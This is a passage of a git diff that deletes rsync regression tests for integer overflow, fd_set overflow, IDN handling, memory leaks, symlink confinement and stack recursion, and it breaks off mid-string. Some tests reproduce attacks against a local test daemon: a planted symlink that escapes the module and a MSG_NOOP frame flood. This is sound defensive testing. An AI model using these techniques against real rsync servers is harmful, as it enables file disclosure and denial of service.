test_skipped\n-\n-RERR_MALLOC = 22   # errcode.h\n-\n-helper = TOOLDIR / 't_hashtable_overflow'\n-if not helper.is_file():\n-    test_skipped(\"t_hashtable_overflow helper not built\")\n-\n-proc = subprocess.run([str(helper)], stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n-                      timeout=30)\n-rc = proc.returncode\n-if rc == RERR_MALLOC:\n-    print(\"hashtable-overflow: hashtable_create rejected the oversized size \"\n-          \"(exited RERR_MALLOC) instead of under-allocating\")\n-elif rc < 0:\n-    test_fail(f\"t_hashtable_overflow crashed (signal {-rc}): the hashtable \"\n-              \"size*node_size integer overflow under-allocated the table\\n\"\n-              + (proc.stderr or b'').decode('utf-8', 'replace'))\n-else:\n-    test_fail(f\"t_hashtable_overflow exited {rc}, expected RERR_MALLOC ({RERR_MALLOC}): \"\n-              \"the oversized hashtable_create was not rejected\\n\"\n-              + (proc.stderr or b'').decode('utf-8', 'replace'))\ndiff --git a/testsuite/highfd-hang_test.py b/testsuite/highfd-hang_test.py\ndeleted file mode 100644\nindex 3ae79d6..0000000\n--- a/testsuite/highfd-hang_test.py\n+++ /dev/null\n@@ -1,130 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Regression test for issue #231: high-numbered I/O descriptors.\n-\n-rsync's I/O readiness loops used to call select() with fd_set bitmaps, which can\n-only represent descriptors below FD_SETSIZE.  If rsync is started with many\n-descriptors already open -- e.g. inherited from a parent that leaked fds -- its\n-own socket and pipe fds get allocated at or above that limit.  FD_SET() and\n-FD_ISSET() then index past the end of the fixed-size fd_set, which is undefined\n-behaviour: with a plain build select() reports the fd ready while FD_ISSET()\n-reads the out-of-bounds bit as 0, so the read/write never happens and rsync\n-spins at 100% CPU forever; with a fortified libc the process instead aborts\n-(\"bit out of range 0 - FD_SETSIZE in fd_set\").  Either way the transfer never\n-completes.\n-\n-We reproduce that by opening enough inheritable dummy fds to push rsync's\n-descriptors past FD_SETSIZE, then running an ordinary transfer with\n-close_fds=False so the child inherits them.  With the poll()-based I/O the\n-transfer finishes immediately; without it, it hangs or aborts.\n-\n-FD_SETSIZE is *not* hardcoded: it is 1024 with glibc but 65536 on 64-bit\n-Solaris, and assuming 1024 there would open too few fds to cross the limit and\n-pass vacuously.  We ask the C library for the real value instead, and skip when\n-we cannot (no compiler, or the fd limit cannot be raised far enough).\n-\"\"\"\n-\n-import os\n-import resource\n-import shlex\n-import shutil\n-import subprocess\n-import tempfile\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-TIMEOUT = 30  # poll() build: ~instant; the bug: hangs (or aborts)\n-\n-\n-def probe_fd_setsize():\n-    \"\"\"Ask the C library for FD_SETSIZE rather than assuming a value.\"\"\"\n-    # CC is a command, not a filename: \"ccache gcc\" and \"gcc -m32\" are both\n-    # ordinary values, and passing either to subprocess as one argv[0] looks\n-    # for a program with a space in its name.\n-    cc = shlex.split(os.environ.get('CC') or '')\n-    if not cc:\n-        found = shutil.which('cc') or shutil.which('gcc')\n-        if not found:\n-            return None\n-        cc = [found]\n-    with tempfile.TemporaryDirectory() as td:\n-        src = os.path.join(td, 'fdss.c')\n-        exe = os.path.join(td, 'fdss')\n-        with open(src, 'w') as f:\n-            f.write('#include <stdio.h>\\n'\n-                    '#include <sys/select.h>\\n'\n-                    'int main(void){ printf(\"%d\\\\n\", (int)FD_SETSIZE); return 0; }\\n')\n-        try:\n-            if subprocess.run(cc + [src, '-o', exe],\n-                              capture_output=True).returncode != 0:\n-                return None\n-            proc = subprocess.run([exe], capture_output=True, text=True)\n-        except OSError:\n-            return None          # CC names something we cannot execute\n-        if proc.returncode != 0:\n-            return None\n-        try:\n-            return int(proc.stdout.strip())\n-        except ValueError:\n-            return None\n-\n-\n-fd_setsize = probe_fd_setsize()\n-if not fd_setsize:\n-    test_skipped(\"could not determine FD_SETSIZE (no usable C compiler)\")\n-\n-# Push rsync's descriptors comfortably past the limit.\n-ndummy = fd_setsize + 80\n-want = ndummy + 64\n-\n-soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)\n-if soft < want:\n-    if hard != resource.RLIM_INFINITY and hard < want:\n-        test_skipped(f\"RLIMIT_NOFILE hard cap {hard} < {want}; cannot place fds \"\n-                     f\"above FD_SETSIZE ({fd_setsize}) to exercise issue #231\")\n-    resource.setrlimit(resource.RLIMIT_NOFILE, (want, hard))\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-payload = {f'f{i}': os.urandom(1000) for i in range(20)}\n-for name, data in payload.items():\n-    (FROMDIR / name).write_bytes(data)\n-\n-# Occupy the low fd numbers with inheritable dummy descriptors so the rsync\n-# child's socket/pipe fds land above FD_SETSIZE.  Python opens fds O_CLOEXEC by\n-# default, so mark each inheritable and use close_fds=False.\n-dummies = []\n-try:\n-    while True:\n-        fd = os.open(os.devnull, os.O_RDONLY)\n-        os.set_inheritable(fd, True)\n-        dummies.append(fd)\n-        if fd >= ndummy:\n-            break\n-\n-    argv = rsync_argv('-a', f'{FROMDIR}/', f'{TODIR}/')\n-    try:\n-        proc = subprocess.run(argv, timeout=TIMEOUT, close_fds=False)\n-    except subprocess.TimeoutExpired:\n-        test_fail(f\"rsync did not finish within {TIMEOUT}s with fds above \"\n-                  f\"FD_SETSIZE ({fd_setsize}) -- select()/fd_set overflow \"\n-                  \"(issue #231 regression)\")\n-finally:\n-    for fd in dummies:\n-        os.close(fd)\n-\n-if proc.returncode != 0:\n-    test_fail(f\"rsync exited {proc.returncode} with fds above FD_SETSIZE \"\n-              f\"({fd_setsize}); a fortified libc aborts on the fd_set overflow \"\n-              \"(issue #231 regression)\")\n-\n-for name, data in payload.items():\n-    if (TODIR / name).read_bytes() != data:\n-        test_fail(f\"{name} differs after a high-fd transfer\")\n-\n-print(f\"issue #231: transfer with fds above FD_SETSIZE ({fd_setsize}) \"\n-      \"completed correctly\")\ndiff --git a/testsuite/idn_test.py b/testsuite/idn_test.py\ndeleted file mode 100644\nindex a4e914f..0000000\n--- a/testsuite/idn_test.py\n+++ /dev/null\n@@ -1,186 +0,0 @@\n-#!/usr/bin/env python3\n-# Verify that rsync converts an IDN (internationalized domain name) host to\n-# its IDNA A-label (Punycode) form, and that it leaves an ASCII host name\n-# alone.  Only the labels that are not ASCII get rewritten, so an address\n-# literal, an already-punycoded name, and a name that isn't a valid IDN all\n-# reach the resolver as typed.  A name typed with combining marks is normalized\n-# on the way, so it converts the same as its precomposed spelling.\n-#\n-# Two daemon connection methods carry the host name out of rsync, so both are\n-# checked:\n-#   * daemon over a remote shell (what rsync-ssl does): the host is handed to\n-#     the --rsh helper.\n-#   * direct daemon socket: observed through a dummy HTTP proxy (RSYNC_PROXY) on\n-#     loopback, so this part only runs under --use-tcp.\n-# A plain remote-shell transfer (host:path) is intentionally left alone, since\n-# that name belongs to the user's ssh.\n-#\n-# The daemon side of IDN -- hosts allow/deny matching -- is daemon-access-idn.\n-\n-import os\n-import shlex\n-import socket\n-import subprocess\n-import sys\n-import threading\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, USE_TCP, claim_ports, run_rsync,\n-    test_fail, test_skipped,\n-)\n-\n-\n-if '\"IDN\": true' not in run_rsync('-VV', check=True, capture_output=True).stdout:\n-    test_skipped(\"rsync built without IDN support\")\n-\n-\n-def find_utf8_locale():\n-    try:\n-        out = subprocess.check_output(['locale', '-a'], text=True,\n-                                      stderr=subprocess.DEVNULL)\n-    except (OSError, subprocess.CalledProcessError):\n-        return None\n-    avail = out.split()\n-    for want in ('C.UTF-8', 'C.utf8', 'en_US.UTF-8', 'en_US.utf8'):\n-        if want in avail:\n-            return want\n-    for loc in avail:\n-        if loc.lower().replace('-', '').endswith('utf8'):\n-            return loc\n-    return None\n-\n-\n-utf8_locale = find_utf8_locale()\n-if not utf8_locale:\n-    test_skipped(\"no UTF-8 locale available to encode the IDN host\")\n-\n-idn_host = \"\\u010ci\\u010dku.example\"\n-ascii_host = \"xn--iku-eqab.example\"\n-# The same name with each caron letter spelled as a plain \"c\" plus a combining\n-# caron (U+030C).  Unicode calls the two spellings equivalent, so both have to\n-# come out as the same A-label; libidn2 is what normalizes them.\n-nfd_host = \"c\\u030ci\" \"c\\u030cku.example\"\n-\n-env = os.environ.copy()\n-env['LC_ALL'] = utf8_locale\n-out_dir = (str(SCRATCHDIR / 'out') + '/').encode()\n-\n-\n-def run_idn(url, *extra, extra_env=None):\n-    # A bytes argv keeps the UTF-8 host intact regardless of Python's\n-    # filesystem encoding.\n-    e = dict(env)\n-    if extra_env:\n-        e.update(extra_env)\n-    argv = [a.encode() for a in shlex.split(RSYNC)]\n-    argv += [a.encode() for a in extra]\n-    argv += [url.encode('utf-8'), out_dir]\n-    return subprocess.run(argv, capture_output=True, env=e, timeout=30)\n-\n-\n-# --- daemon over a remote shell (the rsync-ssl mechanism) ------------------\n-helper = SCRATCHDIR / 'idn-rsh.sh'\n-helper.write_text('#!/bin/sh\\nprintf %s \"$1\" > \"$IDN_RSH_OUT\"\\nexit 1\\n')\n-helper.chmod(0o755)\n-\n-hostfile = SCRATCHDIR / 'idn-rsh-host'\n-\n-\n-def rsh_host(url_host):\n-    \"\"\"The host name rsync hands the --rsh helper for rsync://<url_host>/.\"\"\"\n-    if hostfile.exists():\n-        hostfile.unlink()\n-    run_idn(f\"rsync://{url_host}/module/\", f\"--rsh={helper}\",\n-            extra_env={'IDN_RSH_OUT': str(hostfile)})\n-    if not hostfile.exists():\n-        test_fail(f\"the --rsh helper never ran for {url_host!r}\")\n-    return hostfile.read_bytes().decode('utf-8', 'surrogateescape')\n-\n-\n-def check_rsh(url_host, want, what):\n-    got = rsh_host(url_host)\n-    if got != want:\n-        test_fail(f\"daemon-over-rsh sent host {got!r} for {what} \"\n-                  f\"({url_host!r}), expected {want!r}\")\n-    print(f\"OK: {what} -> {got}\")\n-\n-\n-# A U-label becomes its A-label, case-folded by the IDNA mapping.  An ASCII\n-# label is handed on byte for byte, case included, since DNS doesn't care.\n-check_rsh(idn_host, ascii_host, \"a Unicode host\")\n-check_rsh(nfd_host, ascii_host, \"a decomposed Unicode host\")\n-check_rsh(\"C\\u030cI\" \"C\\u030cKU.Example\", \"xn--iku-eqab.Example\",\n-          \"a decomposed mixed-case Unicode host\")\n-check_rsh(\"ČIČKU.Example\", \"xn--iku-eqab.Example\",\n-          \"a mixed-case Unicode host\")\n-check_rsh(ascii_host, ascii_host, \"an already-punycoded host\")\n-check_rsh(\"XN--IKU-EQAB.Example\", \"XN--IKU-EQAB.Example\",\n-          \"a mixed-case punycoded host\")\n-# A name that isn't a valid IDN goes out as-is instead of being rewritten into\n-# some other name (the U+200B one would map to \".example\"), so the resolver\n-# fails on it just as it did before.\n-check_rsh(\"xn--0.example\", \"xn--0.example\", \"an undecodable A-label\")\n-check_rsh(\"ـx.example\", \"ـx.example\", \"a label with a disallowed character\")\n-check_rsh(\"​.example\", \"​.example\", \"a label that maps to nothing\")\n-\n-\n-# --- direct daemon socket, observed via a dummy proxy -----------------------\n-if not USE_TCP:\n-    print(\"direct-socket proxy check needs --use-tcp; skipping that part\")\n-    sys.exit(0)\n-\n-PROXY_PORT = 13335\n-claim_ports(PROXY_PORT)\n-\n-listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-listener.bind(('127.0.0.1', PROXY_PORT))\n-listener.listen(1)\n-\n-captured = {}\n-\n-\n-def serve_one():\n-    conn, _ = listener.accept()\n-    conn.settimeout(5)\n-    data = b\"\"\n-    try:\n-        while b\"\\r\\n\\r\\n\" not in data and len(data) < 65536:\n-            chunk = conn.recv(8192)\n-            if not chunk:\n-                break\n-            data += chunk\n-    except socket.timeout:\n-        pass\n-    captured['request'] = data\n-    try:\n-        conn.sendall(b\"HTTP/1.0 403 Forbidden\\r\\n\\r\\n\")\n-        conn.shutdown(socket.SHUT_RDWR)\n-    except OSError:\n-        pass\n-    conn.close()\n-\n-\n-t = threading.Thread(target=serve_one)\n-t.daemon = True\n-t.start()\n-\n-proc = run_idn(f\"rsync://{idn_host}:873/whatever/\",\n-               extra_env={'RSYNC_PROXY': f'127.0.0.1:{PROXY_PORT}'})\n-\n-t.join(timeout=15)\n-listener.close()\n-\n-if proc.returncode >= 128:\n-    sys.stderr.write(proc.stderr.decode('latin1'))\n-    test_fail(f\"rsync killed by signal (status={proc.returncode})\")\n-\n-request = captured.get('request', b'')\n-if not request:\n-    test_fail(\"dummy proxy received no CONNECT request from rsync\")\n-\n-if ascii_host.encode() not in request:\n-    sys.stderr.write(\"proxy received: %r\\n\" % request.split(b\"\\r\\n\", 1)[0])\n-    test_fail(f\"expected A-label {ascii_host} in the proxy CONNECT request\")\n-\n-print(f\"OK: direct-socket CONNECT host sent as {ascii_host}\")\ndiff --git a/testsuite/inband-modname-leak_test.py b/testsuite/inband-modname-leak_test.py\ndeleted file mode 100644\nindex a8b41d9..0000000\n--- a/testsuite/inband-modname-leak_test.py\n+++ /dev/null\n@@ -1,67 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"KI-17: start_inband_exchange leaks modname on early error returns.\n-\n-clientserver.c:start_inband_exchange allocates `modname` (new_array) and frees\n-it only on the success path; the early `return -1` error paths (e.g. the\n-daemon replying @ERROR for an unknown module) leak it.  Client-side, one-shot\n-per failed connection.\n-\n-ASan/LSan reproducer: connect to a daemon requesting a non-existent module so\n-the @ERROR path is taken, then assert no client leak report names\n-start_inband_exchange.  Gated on an AddressSanitizer build and --use-tcp.\n-\"\"\"\n-\n-import glob\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, RSYNC,\n-    make_tree, require_asan, require_tcp, rmtree, rsync_argv,\n-    start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12896\n-require_tcp(\"the daemon @ERROR handshake needs a real TCP peer\")\n-require_asan(\"KI-17 modname leak is only observable under AddressSanitizer/LSan\", RSYNC)\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-conf = SCRATCHDIR / 'modname-leak.conf'\n-conf.write_text(\n-    f\"pid file = {SCRATCHDIR}/rsyncd.pid\\n\"\n-    \"use chroot = no\\n\"\n-    f\"log file = {SCRATCHDIR}/rsyncd.log\\n\"\n-    f\"\\n[realmod]\\n\\tpath = {src}\\n\\tread only = yes\\n\"\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-asan_log = SCRATCHDIR / 'modname-leak-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-os.environ['ASAN_OPTIONS'] = (\n-    f\"detect_leaks=1:abort_on_error=0:log_path={asan_log}\"\n-)\n-\n-# Request a module that does not exist: the daemon replies @ERROR and the\n-# client's start_inband_exchange takes the early `return -1` that leaks modname.\n-p = subprocess.run(rsync_argv('-r', f'{url}no-such-module/'),\n-                   capture_output=True, text=True)\n-\n-# Non-vacuity: the connection must have been refused via the @ERROR path that\n-# leaks modname (rc != 0 and an \"Unknown module\" / @ERROR diagnostic).\n-if p.returncode == 0:\n-    test_fail(\"connection to a non-existent module unexpectedly succeeded; \"\n-              \"the modname-leak path was not exercised\")\n-if 'ERROR' not in p.stderr and 'nknown module' not in p.stderr:\n-    test_fail(f\"expected an @ERROR/unknown-module rejection; got:\\n{p.stderr}\")\n-\n-reports = ''.join(open(r, errors='replace').read()\n-                  for r in glob.glob(f\"{asan_log}.*\"))\n-if 'start_inband_exchange' in reports:\n-    test_fail(\"start_inband_exchange leaked modname on the @ERROR path (KI-17):\\n\"\n-              + reports[:1500])\n-\n-print(\"inband-modname-leak: start_inband_exchange does not leak modname\")\ndiff --git a/testsuite/inplace_test.py b/testsuite/inplace_test.py\ndeleted file mode 100644\nindex e0c2079..0000000\n--- a/testsuite/inplace_test.py\n+++ /dev/null\n@@ -1,71 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --inplace at depth.\n-\n---inplace updates the destination file directly instead of writing a temp copy\n-and renaming it over the original, so across a delta update the destination\n-keeps the SAME inode. Without --inplace the receiver creates a fresh temp file\n-and renames it, giving the destination a NEW inode. Both behaviours hinge on\n-how the receiver resolves the destination directory and (for the default mode)\n-performs the temp->final rename, which the path restructure rewrites; verify\n-them on a file >=3 levels deep.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'f3')\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3, data=True, data_size=200000)\n-\n-\n-def inode(path):\n-    return os.stat(path).st_ino\n-\n-\n-def modify_deep():\n-    # Rewrite a chunk in the middle so it is a genuine delta, not just a tail\n-    # append. Bump mtime by a clear margin (the whole test runs inside one\n-    # second, so a \"now\" touch would collide with the destination's mtime and\n-    # the size-unchanged file would be skipped by the quick check).\n-    p = src / deep\n-    data = bytearray(p.read_bytes())\n-    data[1000:1100] = bytes((b ^ 0xFF) for b in data[1000:1100])\n-    p.write_bytes(bytes(data))\n-    st = os.stat(p)\n-    os.utime(p, (st.st_atime, st.st_mtime + 100))\n-\n-\n-# --- --inplace keeps the destination inode across a delta update ------------\n-seed()\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-ino_before = inode(TODIR / deep)\n-\n-modify_deep()\n-run_rsync('-a', '--inplace', '--no-whole-file', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='inplace content')\n-if inode(TODIR / deep) != ino_before:\n-    test_fail(\"--inplace changed the destination inode at depth \"\n-              f\"({ino_before} -> {inode(TODIR / deep)})\")\n-\n-# --- control: the default (temp+rename) path replaces the inode -------------\n-seed()\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-ino_before = inode(TODIR / deep)\n-\n-modify_deep()\n-run_rsync('-a', '--no-whole-file', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='default content')\n-if inode(TODIR / deep) == ino_before:\n-    test_fail(\"default (non-inplace) delta update unexpectedly kept the \"\n-              \"destination inode at depth -- temp+rename did not run\")\n-\n-print(\"inplace: same-inode update at depth verified; default replaces inode\")\ndiff --git a/testsuite/insecure-links-admin-optout_test.py b/testsuite/insecure-links-admin-optout_test.py\ndeleted file mode 100644\nindex 44492c7..0000000\n--- a/testsuite/insecure-links-admin-optout_test.py\n+++ /dev/null\n@@ -1,90 +0,0 @@\n-#!/usr/bin/env python3\n-# Admin per-module opt-out: `insecure links = yes` (rsyncd.conf).\n-#\n-# A CLIENT can never switch off a daemon's symlink confinement -- that is the\n-# operator-path-insecure-links-{daemon,refused} guard.  But an ADMIN may, for an\n-# isolated/trusted module, restore the legacy follow-any-symlink behaviour with\n-# `insecure links = yes` (the daemon analogue of the local --insecure-links).\n-# This re-opens the symlink-escape vectors for that module ON PURPOSE, so the\n-# test asserts both halves of the rule using two modules over one daemon, both\n-# rooted at the same tree with the same planted escape:\n-#\n-#   - mod_secure   (default)            -> the escape is REFUSED (confined)\n-#   - mod_insecure (insecure links=yes) -> the escape is SERVED  (opt-out honored)\n-#\n-# The escape is a directory symlink inside the module pointing OUT of the module;\n-# a --copy-dirlinks pull enumerates through it (flist secure_opendir) and reads\n-# the out-of-tree file (sender content open).  Both gates consult the per-module\n-# opt-out, so the out-of-module file arrives only for the insecure module.\n-#\n-# Requires root: the planted symlink is foreign-owned, matching the threat model\n-# (an attacker-owned in-module symlink), and the module is served as root.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, find_attacker_uid, rmtree, rsync_argv, rsync_supports,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12906\n-MARKER = \"OUT-OF-MODULE-SECRET\\n\"\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a foreign-owned symlink and serve as root\")\n-ATT = find_attacker_uid()\n-if ATT is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-if not rsync_supports('--copy-dirlinks'):\n-    test_skipped(\"rsync lacks --copy-dirlinks\")\n-\n-base = SCRATCHDIR / 'insecure-admin'\n-rmtree(base)\n-mod = base / 'mod'\n-outside = base / 'outside'\n-mod.mkdir(parents=True)\n-outside.mkdir(parents=True)\n-\n-# In-module content (always servable) plus the escaping directory symlink.\n-(mod / 'intree.txt').write_text(\"in-module\\n\")\n-(outside / 'secret.txt').write_text(MARKER)\n-os.symlink('../outside', mod / 'sub')          # dir symlink -> out of module\n-os.lchown(mod / 'sub', ATT, ATT)               # foreign-owned (attacker) plant\n-\n-# Serve as root (uid/gid 0) so the daemon euid differs from the attacker uid.\n-# Use numeric 0, not the name \"root\": the root *group* is \"wheel\" on the BSDs\n-# and macOS, so `gid = root` is rejected there (\"Invalid gid root\").\n-conf = write_daemon_conf([\n-    ('mod_secure', {'path': str(mod), 'use chroot': 'no', 'read only': 'yes',\n-                    'uid': '0', 'gid': '0'}),\n-    ('mod_insecure', {'path': str(mod), 'use chroot': 'no', 'read only': 'yes',\n-                      'uid': '0', 'gid': '0', 'insecure links': 'yes'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def pull(modname):\n-    out = base / f'dest_{modname}'\n-    rmtree(out)\n-    out.mkdir()\n-    subprocess.run(\n-        rsync_argv('-r', '--copy-dirlinks', f'{url}{modname}/', f'{out}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    served = out / 'sub' / 'secret.txt'\n-    return served.is_file() and served.read_text() == MARKER\n-\n-\n-# Default module: the foreign-owned escaping symlink must be refused.\n-if pull('mod_secure'):\n-    test_fail(\"mod_secure served the out-of-module file through the planted \"\n-              \"directory symlink: the daemon followed it without `insecure \"\n-              \"links = yes` -- confinement failed.\")\n-\n-# Opt-out module: the admin asked for legacy following, so it must be honored.\n-if not pull('mod_insecure'):\n-    test_fail(\"mod_insecure did NOT serve the out-of-module file even with \"\n-              \"`insecure links = yes`: the per-module admin opt-out was not \"\n-              \"honored by the sender enumeration/content gates.\")\n-\n-print(\"insecure links = yes: refused by default, honored as an admin opt-out\")\ndiff --git a/testsuite/install-strip_test.py b/testsuite/install-strip_test.py\ndeleted file mode 100644\nindex e1b6c8e..0000000\n--- a/testsuite/install-strip_test.py\n+++ /dev/null\n@@ -1,97 +0,0 @@\n-#!/usr/bin/env python3\n-\n-import filecmp\n-import os\n-import re\n-import shlex\n-import shutil\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, TOOLDIR, test_fail\n-\n-\n-make_vars = {}\n-for line in (TOOLDIR / 'Makefile').read_text().splitlines():\n-    name, separator, value = line.partition('=')\n-    if separator and name in ('prefix', 'exec_prefix', 'bindir',\n-                              'EXEEXT', 'STRIP'):\n-        make_vars[name] = value.strip()\n-\n-if not make_vars.get('STRIP'):\n-    test_fail('configured Makefile does not define STRIP')\n-\n-source_rsync = TOOLDIR / f\"rsync{make_vars.get('EXEEXT', '')}\"\n-if not source_rsync.is_file():\n-    test_fail('cannot find the built rsync binary')\n-\n-builddir = SCRATCHDIR / 'build'\n-builddir.mkdir()\n-makefile_text = (TOOLDIR / 'Makefile').read_text()\n-if 'install: all\\n' not in makefile_text:\n-    test_fail('cannot isolate the install target from the shared build')\n-if 'Makefile: Makefile.in config.status configure.sh config.h.in\\n' not in makefile_text:\n-    test_fail('cannot isolate Makefile regeneration from the shared build')\n-(builddir / 'Makefile').write_text(\n-    makefile_text\n-    .replace('install: all\\n', 'install:\\n', 1)\n-    .replace('Makefile: Makefile.in config.status configure.sh config.h.in\\n',\n-             'Makefile:\\n', 1)\n-)\n-\n-for name in (source_rsync.name, 'install-sh', 'rsync-ssl', 'rrsync', 'rsync.1',\n-             'rsync-ssl.1', 'rsyncd.conf.5', 'rrsync.1'):\n-    source = TOOLDIR / name\n-    if not source.is_file():\n-        source = SRCDIR / name\n-    if source.is_file():\n-        shutil.copy2(source, builddir / name)\n-\n-\n-def expand_make_value(value):\n-    for _ in range(10):\n-        expanded = re.sub(\n-            r'\\$\\{([^}]+)\\}|\\$\\(([^)]+)\\)',\n-            lambda match: make_vars.get(match.group(1) or match.group(2),\n-                                        match.group(0)),\n-            value,\n-        )\n-        if expanded == value:\n-            return expanded\n-        value = expanded\n-    test_fail(f'cannot expand Makefile value {value!r}')\n-\n-\n-bindir = expand_make_value(make_vars.get('bindir', ''))\n-if not bindir or '$' in bindir:\n-    test_fail(f'cannot determine configured bindir from {bindir!r}')\n-\n-make = shlex.split(os.environ.get('MAKE', 'make'))\n-tools = SCRATCHDIR / 'tools'\n-tools.mkdir()\n-\n-for strip_name in ('strip', 'aarch64-linux-gnu-strip'):\n-    destdir = SCRATCHDIR / 'roots' / strip_name\n-    strip_log = SCRATCHDIR / f'{strip_name}.log'\n-    strip = tools / strip_name\n-    strip.write_text('#!/bin/sh\\nprintf \\'%s\\\\n\\' \"$@\" >\"$STRIP_LOG\"\\n')\n-    strip.chmod(0o755)\n-\n-    env = os.environ.copy()\n-    env['STRIP_LOG'] = str(strip_log)\n-    proc = subprocess.run(\n-        [*make, f'DESTDIR={destdir}', f'STRIP={strip}', 'install-strip'],\n-        cwd=builddir, env=env, capture_output=True, text=True,\n-    )\n-    if proc.returncode != 0:\n-        test_fail(f'install-strip failed with {strip_name}:\\n'\n-                  f'{proc.stdout}{proc.stderr}')\n-\n-    installed = destdir / bindir.lstrip('/') / source_rsync.name\n-    if not installed.is_file():\n-        test_fail(f'install-strip did not install {installed}')\n-    if not strip_log.is_file():\n-        test_fail(f'install-strip did not call {strip_name}')\n-    if strip_log.read_text().splitlines() != [str(installed)]:\n-        test_fail(f'{strip_name} was not called with {installed}')\n-    if not filecmp.cmp(source_rsync, installed, shallow=False):\n-        test_fail(f'{strip_name} unexpectedly changed the installed test binary')\ndiff --git a/testsuite/io-noop-flood-recursion_test.py b/testsuite/io-noop-flood-recursion_test.py\ndeleted file mode 100644\nindex 8f6b7c4..0000000\n--- a/testsuite/io-noop-flood-recursion_test.py\n+++ /dev/null\n@@ -1,90 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for unbounded recursion in read_a_msg() (io.c). read_a_msg()\n-# sets iobuf.in_multiplexed = -1 on entry so that any perform_io() reached while\n-# the message body is consumed will not re-enter read_a_msg(). The MSG_NOOP (and\n-# MSG_IO_ERROR) handlers reset it to 1 *before* calling maybe_send_keepalive() /\n-# send_msg_int(), both of which can reach perform_io(PIO_NEED_MSGROOM). With more\n-# frames already buffered (iobuf.in.len > 512), perform_io() then loops back into\n-# read_a_msg() -- each frame stacks a fresh BIGPATHBUFLEN local, so a hostile peer\n-# that floods MSG_NOOP at a daemon sender exhausts the stack.\n-#\n-# Drive it with the pure-Python client: pull from a daemon (so the daemon is the\n-# sender, am_sender => maybe_send_keepalive runs) and, instead of a filter list,\n-# flood MSG_NOOP frames in one burst. The daemon's first read of our stream\n-# recurses through read_a_msg until the stack guard page is hit.\n-#\n-# The fix defers iobuf.in_multiplexed = 1 to *after* the call-out, keeping the\n-# re-entry guard armed across the write-side flush.\n-#\n-# Oracle: pre-fix -> the daemon child hits an ASan stack-overflow report; fixed\n-# -> none. Needs an ASan build + a real TCP daemon, and is skipped otherwise.\n-\n-import glob\n-import os\n-import struct\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12955\n-require_tcp(\"the pure-Python client needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the read_a_msg recursion is observed via the daemon's \"\n-            \"AddressSanitizer stack-overflow report\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'noop-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-(mod / 'f').write_text(\"hello\\n\")\n-\n-conf = SCRATCHDIR / 'noop.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/noop-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-asan_log = SCRATCHDIR / 'noop-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-# Pull => the daemon is the sender (am_sender, so the MSG_NOOP handler reaches\n-# maybe_send_keepalive).\n-c.handshake('mod', ['--server', '--sender', '-e.LsfxCIu', '.', 'mod/'],\n-            greeting_version=30)\n-# A MSG_NOOP frame: header ((MPLEX_BASE + MSG_NOOP) << 24) | 0, no payload.\n-NOOP = struct.pack('<I', (rp.MPLEX_BASE + 42) << 24)\n-try:\n-    c._send_raw(NOOP * 40000)          # one big burst => iobuf.in.len >> 512\n-except OSError:\n-    pass                               # the daemon may die mid-write\n-c.drain(timeout=5.0)\n-c.close()\n-\n-reports = ''\n-for _ in range(30):\n-    reports = ''.join(open(r, errors='replace').read()\n-                      for r in glob.glob(f\"{asan_log}.*\"))\n-    if 'AddressSanitizer' in reports:\n-        break\n-    time.sleep(0.1)\n-\n-if 'AddressSanitizer' in reports:\n-    test_fail(\n-        \"daemon sender recursed through read_a_msg on a MSG_NOOP flood and hit 